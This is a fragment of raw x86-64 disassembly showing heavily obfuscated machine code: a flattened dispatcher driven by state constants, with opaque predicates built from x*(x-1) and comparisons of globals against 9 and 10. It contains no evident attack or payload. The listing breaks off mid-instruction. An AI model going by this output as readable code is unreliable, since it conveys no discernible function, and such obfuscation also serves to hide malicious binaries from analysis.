mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x8a0e734e
and ecx, 0x75f18cb1
or ecx, ebp
xor ecx, 0x8a0e734e
xor edx, ecx
test edx, ecx
sete cl
setne r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg r9b
mov ebx, edx
and dl, r8b
and r8b, r9b
and bl, cl
or bl, r8b
xor bl, 1
or bl, r9b
mov eax, ebx
not al
and cl, r9b
or dl, cl
mov ecx, edx
xor cl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test cl, cl
mov ecx, 0x187250ee
mov edx, 0x170d6469
cmovne ecx, edx
test bl, bl
mov ebp, 0x187250ee
cmovne ecx, ebp
jmp 0x140140c54
cmp ecx, 0x66add94
jg 0x140139fa7
cmp ecx, 0x528710d
je 0x14013d1fe
cmp ecx, 0x5565d5e
jne 0x140132830
mov ecx, dword [0x1402656e8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov edx, eax
xor edx, 1
and edx, eax
mov ecx, eax
not ecx
and ecx, 0x1835ad1c
and eax, 0xe7ca52e3
or eax, ecx
mov ebp, eax
xor ebp, 0xe28000c0
mov ecx, edx
not ecx
xor eax, 0x1835ad1d
mov ebx, ecx
and ebx, 0x1d6e7e3a
and edx, 0xe29181c5
or edx, ebx
or ecx, eax
and eax, 0x1d6e7e3a
and ebp, 0xe29181c5
or ebp, eax
xor ebp, edx
not ecx
or ecx, ebp
mov eax, ecx
not eax
and eax, 0xcbe744b6
and ecx, 0x3418bb49
or ecx, eax
xor ecx, 0x3418bb49
setne dl
sete r8b
cmp dword [0x1402656e4], 0xa
setl cl
xor dl, r8b
and dl, r8b
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
mov r9d, ebx
and r9b, dl
xor bl, dl
or bl, r9b
xor bl, 1
or al, dl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, 1
mov ebx, eax
or bl, cl
xor al, cl
not al
and al, cl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, ecx
or dl, r8b
xor cl, r8b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and dl, bl
and al, cl
or al, dl
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov edx, ebx
xor dl, al
test bl, 1
mov ecx, 0xce1c7274
mov ebp, 0xcac28fc9
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
not dl
test dl, 1
mov eax, 0xce1c7274
jmp 0x14014088c
cmp ecx, 0x478f27ea
jg 0x14013a0bc
cmp ecx, 0x4597f7ba
je 0x14013d214
cmp ecx, 0x46f9219b
jne 0x140132830
mov ecx, 0xe0eab7c8
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x8cc07c97
jg 0x14013a26e
cmp ecx, 0x8c3d9d75
je 0x14013d2f7
cmp ecx, 0x8c6f8b12
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0xcae98923
mov ecx, ebx
not ecx
or edx, 0x14140644
and edx, 0xdcb40664
and ebp, 0x2498903
or ebp, edx
and ebx, 0xdcb40664
and ecx, 0x21027098
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0x90750e6e
and ecx, 0x6f8af191
or ecx, edx
mov edx, ecx
xor edx, 0xa56378b2
mov ebp, ecx
xor ebp, 0x5a888449
and ebp, 0x7aa8a4cb
xor ecx, 0x8500670a
and ecx, edx
and edx, 0x85575b34
or edx, ebp
mov ebp, edx
xor ebp, 0x85575b34
mov ebx, edx
xor ebx, 0x5acbbb73
and ebx, ebp
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xe94057a0
and ecx, 0x16bfa85f
or ecx, ebx
mov ebx, ecx
xor ebx, 0x300404a6
and ebp, 1
xor edx, 0x85575b35
or edx, ebp
mov ebp, edx
not ebp
xor ecx, 0xc9234819
mov edi, ecx
and edi, 0xfd9b341
and ebx, 0xf0264cbe
or ebx, edi
or ecx, edx
and edx, 0xfd9b341
and ebp, 0xf0264cbe
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x6f10c770
and ebp, 0x90ef388f
or ebp, edi
or ecx, ebx
and ebx, 0x6f10c770
and edx, 0x90ef388f
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, al
xor cl, 1
or r10b, r9b
xor al, r8b
mov edx, r10d
xor dl, al
xor al, 1
xor dl, 1
or al, r10b
xor al, 1
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xeed8a074
mov ebp, 0xcb554182
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0xeed8a074
jmp 0x14013281c
cmp ecx, 0xd22b379d
jg 0x14013a3a1
cmp ecx, 0xcf2c12e2
je 0x14013d3ff
cmp ecx, 0xd0625067
jne 0x140132830
mov eax, dword [0x1402656e8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x56163527
and edx, 0xa9e9cad8
or edx, eax
mov ecx, edx
xor ecx, 0x20a14880
xor edx, 0x2121524
and edx, 0x8b5a977c
and ecx, 0x74a56883
or ecx, edx
mov edi, ecx
xor edi, 0x74a56883
mov ebp, ecx
xor ebp, 0x337c0a59
and ebp, edi
mov ebx, edi
or ebx, 0xb8269d25
mov edx, ebx
not edx
mov eax, ebp
not eax
mov esi, eax
and esi, 0x3ce20eff
and ebp, 0xc31df100
or ebp, esi
or eax, ebx
and ebx, 0x3ce20eff
and edx, 0x43196000
or edx, ebx
xor edx, ebp
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0xb5a9298d
and eax, 0x4a56d672
or eax, edx
mov ebp, eax
xor ebp, 0x72604856
and edi, 1
xor ecx, 0x74a56882
or ecx, edi
mov edx, ecx
not edx
and edx, 0xc423e67
and ecx, 0xf3bdc198
or ecx, edx
mov edx, ecx
xor edx, 0x72a14018
xor ecx, 0xc423e67
xor eax, 0xd8fb4a9
mov ebx, eax
and ebx, 0x811e93a1
and ebp, 0x7ee16c5e
or ebp, ebx
or eax, ecx
and ecx, 0x811e93a1
and edx, 0x7ee16c5e
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x4800fbe0
and ecx, 0xb7ff041f
or ecx, eax
xor ecx, 0xb7ff041f
sete bl
setne cl
cmp dword [0x1402656e4], 0xa
setl r8b
xor cl, r8b
xor cl, 1
mov edx, r8d
or dl, bl
xor dl, 1
or dl, cl
mov r9d, edx
not r9b
mov eax, ebx
xor al, r8b
and bl, al
and al, r8b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, r9b
or cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xd81ee6be
mov ebp, 0x2063506d
cmovne ecx, ebp
test dl, dl
mov edx, 0xd81ee6be
jmp 0x14013de1a
cmp ecx, 0x6b1e1d55
jg 0x14013a3cf
cmp ecx, 0x686b0d9e
je 0x14013d562
cmp ecx, 0x6a0bac6c
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x86c5da37
and ebp, 0x793a25c8
or ebp, ecx
mov edx, ebp
xor edx, 0x793a25c8
xor ebp, 0x481d031
mov ebx, edx
and ebx, 0xfffffffe
and ebp, 0x3d89d4b1
and edx, 0xc2762b4e
or edx, ebp
xor edx, 0xc2762b4f
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0xde636c6a
and ebp, edx
not edx
and edx, 0x54b00f6
and ecx, 0xfab4ff09
or ecx, edx
mov edx, ecx
xor edx, 0x80200408
xor ecx, 0x4430062
or ecx, 0x219c9395
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x7fc27b76
and edx, 0x80210408
or edx, edi
or ecx, ebx
and ebx, 0x7fc27b76
and ebp, 0x803d8489
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x219c9395
and ecx, 0xde636c6a
or ecx, edx
setne r8b
sete r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl cl
mov eax, r9d
xor al, r8b
and al, r9b
mov edx, ebx
and dl, al
not al
and al, cl
or al, dl
mov edx, ebx
or bl, r8b
and r8b, cl
and dl, r9b
or dl, r8b
xor cl, r9b
xor bl, 1
or bl, cl
xor dl, 1
mov ecx, edx
xor cl, bl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
not cl
mov ebx, eax
xor bl, 1
and cl, bl
or bl, dl
and dl, al
or dl, cl
mov eax, edx
xor al, bl
test dl, dl
mov ecx, 0xd22b379e
mov ebp, 0x8b1d47e6
cmovne ecx, ebp
test bl, 1
mov edx, 0xd22b379e
jmp 0x14013de1a
cmp ecx, 0xb4583ccc
jg 0x14013a3fd
cmp ecx, 0xb2682634
je 0x14013d6d9
cmp ecx, 0xb27fd30a
jne 0x140132830
mov ecx, 0x1fe423de
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xf630a907
jg 0x14013a53a
cmp ecx, 0xf521125f
je 0x14013d88a
cmp ecx, 0xf53db2ff
jne 0x140132830
mov edx, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
and edx, 0x7caf19e9
and eax, 0x8350e616
or eax, edx
mov edx, eax
not edx
and edx, 0x8350e616
and eax, 0x7caf19e9
or eax, edx
mov ebx, eax
xor ebx, 1
and ebx, eax
mov ebp, eax
not ebp
and ebp, 0xa7733247
and eax, 0x588ccdb8
or eax, ebp
mov ebp, eax
xor ebp, 0x1888cd09
mov edx, ebx
not edx
xor eax, 0xa7733246
mov edi, edx
and edi, 0xc22600f6
and ebx, 0x3dd9ff09
or ebx, edi
or edx, eax
and eax, 0xc22600f6
and ebp, 0x3dd9ff09
or ebp, eax
xor ebp, ebx
not edx
or edx, ebp
cmp edx, 0xffffffff
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor bl, cl
and bl, cl
mov r9d, eax
or r9b, bl
xor al, bl
not al
and al, bl
mov edx, r9d
xor dl, al
xor al, 1
xor dl, 1
or al, r9b
xor al, 1
or al, dl
mov edx, ecx
or dl, r8b
xor dl, 1
xor cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov r8d, eax
xor r8b, 1
mov r9d, r8d
and r9b, al
mov ebx, ecx
and bl, dl
mov r10d, r8d
and r10b, r9b
xor r9b, r8b
or r9b, r10b
xor r8b, cl
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
mov ecx, r9d
xor cl, 1
and cl, bl
xor bl, 1
and bl, r9b
or bl, cl
or dl, al
xor dl, 1
or dl, r8b
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0xa3f2fd08
mov edx, 0x66f8d8a8
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0xa3f2fd08
jmp 0x140140dec
cmp ecx, 0xda92ad6
je 0x14013d917
cmp ecx, 0xdb52226
je 0x14013d9eb
cmp ecx, 0xdf43707
jne 0x140132830
mov ecx, 0xa001aee2
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x179c6760
je 0x14013da01
cmp ecx, 0x17cab8be
je 0x14013db26
cmp ecx, 0x187250ee
jne 0x140132830
mov ecx, 0xba9664ed
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x596475b0
je 0x14013db3c
cmp ecx, 0x59b41691
jne 0x140132830
mov ecx, 0x79111093
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xa001aee2
je 0x14013dc7a
cmp ecx, 0xa1544e86
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea esi, [rcx - 1]
imul esi, ecx
mov edi, esi
not edi
mov ecx, edi
and ecx, 0x78afa793
mov ebp, esi
and ebp, 0x8750586c
or ebp, ecx
mov ecx, ebp
xor ecx, 0x6004800
xor ebp, 0x50010003
mov edx, edi
or edx, 0x560f6807
mov ebx, edx
not ebx
or ebp, 0x9408608
and ebp, 0x5941860f
and ecx, 0x60e6800
or ecx, ebp
and edx, 0x5941860f
and ebx, 0xa0b011f0
or ebx, edx
xor ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xa9f097f9
and ebx, 0x560f6806
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x8ac246a2
and ebx, 0x753db95d
or ebx, ecx
mov ecx, ebx
xor ecx, 0x71258018
xor ebx, 0x8ac246a2
mov edx, ebx
and edx, 0x8c1a7dc5
and ecx, 0x73e5823a
or ecx, edx
or ebx, esi
and esi, 0x8c1a7dc5
and edi, 0x73e5823a
or edi, esi
xor edi, ecx
not ebx
or ebx, edi
cmp ebx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
xor dl, 1
or al, r8b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, 1
xor cl, al
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x717523d
mov ebp, 0x15d5ad2a
cmovne edx, ebp
test cl, cl
mov ecx, edx
mov ebp, 0x717523d
jmp 0x14013cddb
cmp ecx, 0xded3508d
je 0x14013dd3b
cmp ecx, 0xdfc88877
jne 0x140132830
mov ecx, 0x8cc07c98
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x324bb1be
je 0x14013dd51
cmp ecx, 0x3361df0e
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x71e05ab1
and edx, ebp
not ebp
and ebp, 0x30200a11
and ecx, 0x41c050a0
or ecx, ebp
xor ecx, 0x41c050a0
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x62923325
and edx, 0x9d6dccda
or edx, ecx
mov ecx, edx
xor ecx, 0xec8d966b
xor edx, 0x12724100
and edx, 0xd6ff5729
mov ebx, ecx
and ebx, 0x2900a8d6
or ebx, edx
mov edx, ebx
xor edx, 0x2900a8d6
mov ebp, edx
and ebp, 0xad527882
and ecx, 0x52ad877d
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x1243dda0
and ecx, 0xedbc225f
or ecx, ebp
mov ebp, ecx
xor ebp, 0x40ce5098
and edx, 1
xor ebx, 0x2900a8d7
or ebx, edx
mov edx, ebx
not edx
and edx, 0x3217075a
and ebx, 0xcde8f8a5
or ebx, edx
mov edx, ebx
xor edx, 0x49c870a0
xor ecx, 0xbf11a523
xor ebx, 0x3217075a
mov edi, ecx
and edi, 0x86308b45
and ebp, 0x79cf74ba
or ebp, edi
or ecx, ebx
and ebx, 0x86308b45
and edx, 0x79cf74ba
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xedddd97c
and ecx, 0x12222683
or ecx, edx
mov edx, ecx
xor edx, 0x2222002
xor ecx, 0xa5958140
and ecx, 0xb59587c1
and edx, 0x4a6a783e
or edx, ecx
xor edx, 0xb59587c1
setne r9b
sete r10b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg cl
mov eax, ecx
xor al, r8b
and al, cl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r11d, ebx
xor r11b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r11b
or bl, al
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
xor bl, r10b
mov eax, ecx
xor al, r10b
and al, cl
and r9b, r8b
and cl, r10b
or cl, r9b
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
mov r8d, ecx
and r8b, dl
xor cl, dl
or cl, r8b
mov r8d, ecx
and r8b, bl
mov edx, ebx
and dl, al
xor al, bl
xor bl, 1
xor cl, 1
and cl, bl
or cl, r8b
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xdd359510
mov ebp, 0x2700c3d7
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0xdd359510
jmp 0x14013281c
cmp ecx, 0x79111093
je 0x14013de24
cmp ecx, 0x7996d4bb
jne 0x140132830
mov edx, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea eax, [rdx - 1]
imul eax, edx
mov edi, eax
not edi
mov ebp, edi
or ebp, 0xa7902c5c
mov edx, ebp
not edx
or eax, 0x40641082
and eax, 0xc264348e
mov ebx, edi
and ebx, 0x25900850
or ebx, eax
and ebp, 0xc264348e
and edx, 0x180bc321
or edx, ebp
xor edx, ebx
mov eax, edx
not eax
and eax, 0x329a5e11
and edx, 0xcd65a1ee
or edx, eax
xor edx, 0x950a724c
mov eax, edx
and eax, edi
xor edx, edi
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg r10b
mov ecx, r9d
xor cl, r8b
and cl, r9b
mov edx, ecx
xor dl, 1
mov ebx, edx
or bl, cl
xor cl, bl
xor cl, 1
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, r10b
and bl, cl
and cl, r10b
mov edx, ebx
xor dl, 1
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
xor r10b, r9b
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xe718807
mov edx, 0x480aa2bf
cmovne ecx, edx
test al, 1
mov eax, ecx
cmovne eax, edx
test bl, 1
jmp 0x14013281c
cmp ecx, 0xc1a27751
je 0x14013df69
cmp ecx, 0xc1acc54e
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov esi, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xa9d1dc04
and ecx, edx
or edx, 0x562e23fb
mov ebp, edx
not ebp
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x37a5ace2
and ebp, 0x88505004
or ebp, edi
or edx, ebx
and ebx, 0x37a5ace2
and ecx, 0xc85a531d
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf7bbfe8e
and edx, 0x8440171
or edx, ecx
mov ebp, edx
xor ebp, 0x80144414
xor edx, 0x5e6a228a
mov edi, edx
or edi, 1
mov ebx, edi
not ebx
and edx, 0x61e199e3
and ebp, 0x9e1e661c
or ebp, edx
mov edx, ebp
xor edx, 0x88120210
xor ebp, 0x61e199e2
mov ecx, edi
and ecx, 0x364de4af
and ebx, 0xc9b21b50
or ebx, ecx
or edi, ebp
and ebp, 0x364de4af
and edx, 0xc9b21b50
or edx, ebp
xor edx, ebx
not edi
or edi, edx
mov edx, edi
mov ecx, edi
xor ecx, 0x6b0af9d8
and ecx, edi
not edi
and edi, 0x108d198
and edx, 0x6a022840
or edx, edi
xor edx, 0x6a022840
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x94f50627
and ecx, 0x6b0af9d8
or ecx, edx
sete cl
setne al
cmp esi, 0xa
setl r9b
cmp esi, 9
setg r8b
mov edx, eax
and dl, r8b
mov ebx, r9d
and bl, cl
or bl, dl
xor r8b, bl
and r8b, bl
or al, r9b
xor cl, r9b
and cl, r9b
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov ebx, ecx
and bl, al
mov edx, ebx
xor dl, 1
xor bl, cl
or dl, al
xor dl, 1
or dl, bl
xor dl, r8b
xor r8b, 1
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x71f6c7ed
mov ebp, 0x63624ae8
cmovne ecx, ebp
test al, 1
mov eax, 0x71f6c7ed
cmovne eax, ecx
test dl, 1
jmp 0x14013281c
cmp ecx, 0xa7c8eb5
je 0x14013e07e
cmp ecx, 0xb50541f
jne 0x140132830
mov eax, dword [0x1402656e8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x41cf54c
and eax, 0xfbe30ab3
or eax, ebx
or ecx, ebp
and ebp, 0x41cf54c
and edx, 0xfbe30ab3
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
or eax, 1
mov ebp, eax
not ebp
and edx, 0xbaba678e
and ecx, 0x45459871
or ecx, edx
mov edx, ecx
xor edx, 0x459050
xor ecx, 0xbaba678f
mov ebx, eax
and ebx, 0x6d0a4fa1
and ebp, 0x92f5b05e
or ebp, ebx
or eax, ecx
and ecx, 0x6d0a4fa1
and edx, 0x92f5b05e
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x32db1162
and ecx, eax
and eax, 0xcd24ee9d
or eax, edx
mov edx, eax
xor edx, 0x9208e19
xor eax, 0x32db1162
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xd6d660a4
and edx, 0x29299f5b
or edx, ebx
or eax, ebp
and ebp, 0xd6d660a4
and ecx, 0x29299f5b
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
sete r8b
setne cl
cmp dword [0x1402656e4], 9
setg al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r9d, ecx
xor r9b, 1
mov edx, eax
xor dl, r8b
not dl
and dl, r8b
or al, r8b
mov ebx, eax
xor bl, dl
xor dl, 1
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and cl, dl
and al, r9b
or al, cl
mov ecx, r9d
xor cl, dl
or dl, r9b
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0xeb64fdd5
mov edx, 0x11506384
cmovne ecx, edx
test al, al
cmove ecx, edx
test bl, 1
mov eax, 0xeb64fdd5
jmp 0x140140dec
cmp ecx, 0x1332e655
je 0x14013e1bc
cmp ecx, 0x14025b48
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xa6e2f006
mov ebx, ecx
and ebx, 0x591d0ff8
or ebx, ebp
xor ebx, 0x591d0ff8
mov ebp, ecx
and ebp, 1
or ebp, ebx
and edx, 0xc61b661d
and ecx, 0x39e499e2
or ecx, edx
mov edx, ecx
xor edx, 0x10408820
mov ebx, ebp
not ebx
mov edi, ebx
and edi, 0x6fa655da
and ebp, 0x9059aa25
or ebp, edi
xor ecx, 0x46024418
and ecx, 0x6fa655da
and edx, 0x9059aa25
or edx, ecx
xor edx, ebp
xor ebx, edx
test ebx, edx
sete r8b
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, cl
xor al, 1
or al, dl
mov r9d, eax
xor r9b, 1
mov ebx, edx
xor bl, r8b
not bl
and bl, r8b
or dl, r8b
mov ecx, edx
xor cl, bl
xor bl, 1
xor cl, 1
or bl, dl
xor bl, 1
or bl, cl
mov ecx, eax
and cl, bl
xor bl, 1
and r9b, bl
or r9b, cl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, r9b
test al, 1
mov eax, 0x8234194d
mov ecx, 0xf630a908
cmovne eax, ecx
test bl, 1
mov ecx, 0x8234194d
cmovne ecx, eax
test r9b, 1
jmp 0x140140dec
cmp ecx, 0x2b984291
je 0x14013e360
cmp ecx, 0x2c123c4b
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
or ebp, 0x68a9a891
mov ebx, ebp
not ebx
mov edx, edi
or edx, 0x5040704
and edx, 0x65adaf14
mov esi, ecx
and esi, 0x8000081
or esi, edx
and ebp, 0x65adaf14
and ebx, 0x9252506a
or ebx, ebp
xor ebx, esi
mov edx, ebx
not edx
and edx, 0xcd5ec5cd
and ebx, 0x32a13a32
or ebx, edx
mov edx, ebx
xor edx, 0x48000082
xor ebx, 0xa5f76d5d
mov ebp, ebx
and ebp, 0x376cf230
and edx, 0xc8930dcf
or edx, ebp
and edi, 0x376cf230
and ecx, 0xc8930dcf
or ecx, edi
xor ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, cl
xor al, 1
or al, dl
xor cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x8c6f8b12
mov ebp, 0xcb554182
cmovne edx, ebp
test cl, 1
cmovne edx, ebp
not al
test al, 1
mov eax, 0x8c6f8b12
jmp 0x14014036a
cmp ecx, 0x3e6fe1ba
je 0x14013e376
cmp ecx, 0x3e77f8b1
jne 0x140132830
mov ecx, dword [0x1402656e8]
lea eax, [rcx - 1]
imul eax, ecx
mov edi, eax
not edi
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
or eax, 1
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0xc027662b
mov ecx, edi
and ecx, 0x3fd899d4
or ecx, ebx
or eax, ebp
and ebp, 0xc027662b
and edx, 0x3fd899d4
or edx, ebp
xor edx, ecx
not eax
or eax, edx
not eax
mov ecx, eax
and ecx, edi
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xb37b1000
and eax, 0x4c84efff
or eax, ecx
xor eax, 0x4c84efff
setne al
cmp dword [0x1402656e4], 9
setg r9b
mov ecx, r9d
and cl, al
xor r9b, al
or cl, r9b
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
mov ebx, edx
and dl, r9b
or al, r9b
xor r9b, 1
xor bl, 1
and bl, r9b
or dl, bl
xor r9b, cl
xor al, 1
or al, r9b
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x2496c50
mov eax, 0x3b23cfbc
cmovne ecx, eax
test dl, dl
cmove ecx, eax
not bl
test bl, 1
mov eax, 0x2496c50
jmp 0x14014088c
cmp ecx, 0x814e6c28
je 0x14013e464
cmp ecx, 0x816a3e13
jne 0x140132830
mov ecx, 0x2c95b0f3
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xc89deb19
je 0x14013e48c
cmp ecx, 0xca3849d7
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
or edx, 0xa120354e
mov ebx, edx
not ebx
or ebp, 0x5edfcab1
mov ecx, ebp
not ecx
and edx, 0x6661affb
and ebx, 0x189e4000
or ebx, edx
and ebp, 0x6661affb
and ecx, 0x81001004
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xa120354e
and ecx, 0x5edfcab1
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x27f9db65
and ecx, 0xd806249a
or ecx, ebp
xor ecx, 0xd806249a
or ecx, edx
cmp ecx, 0xffffffff
setne cl
cmp eax, 9
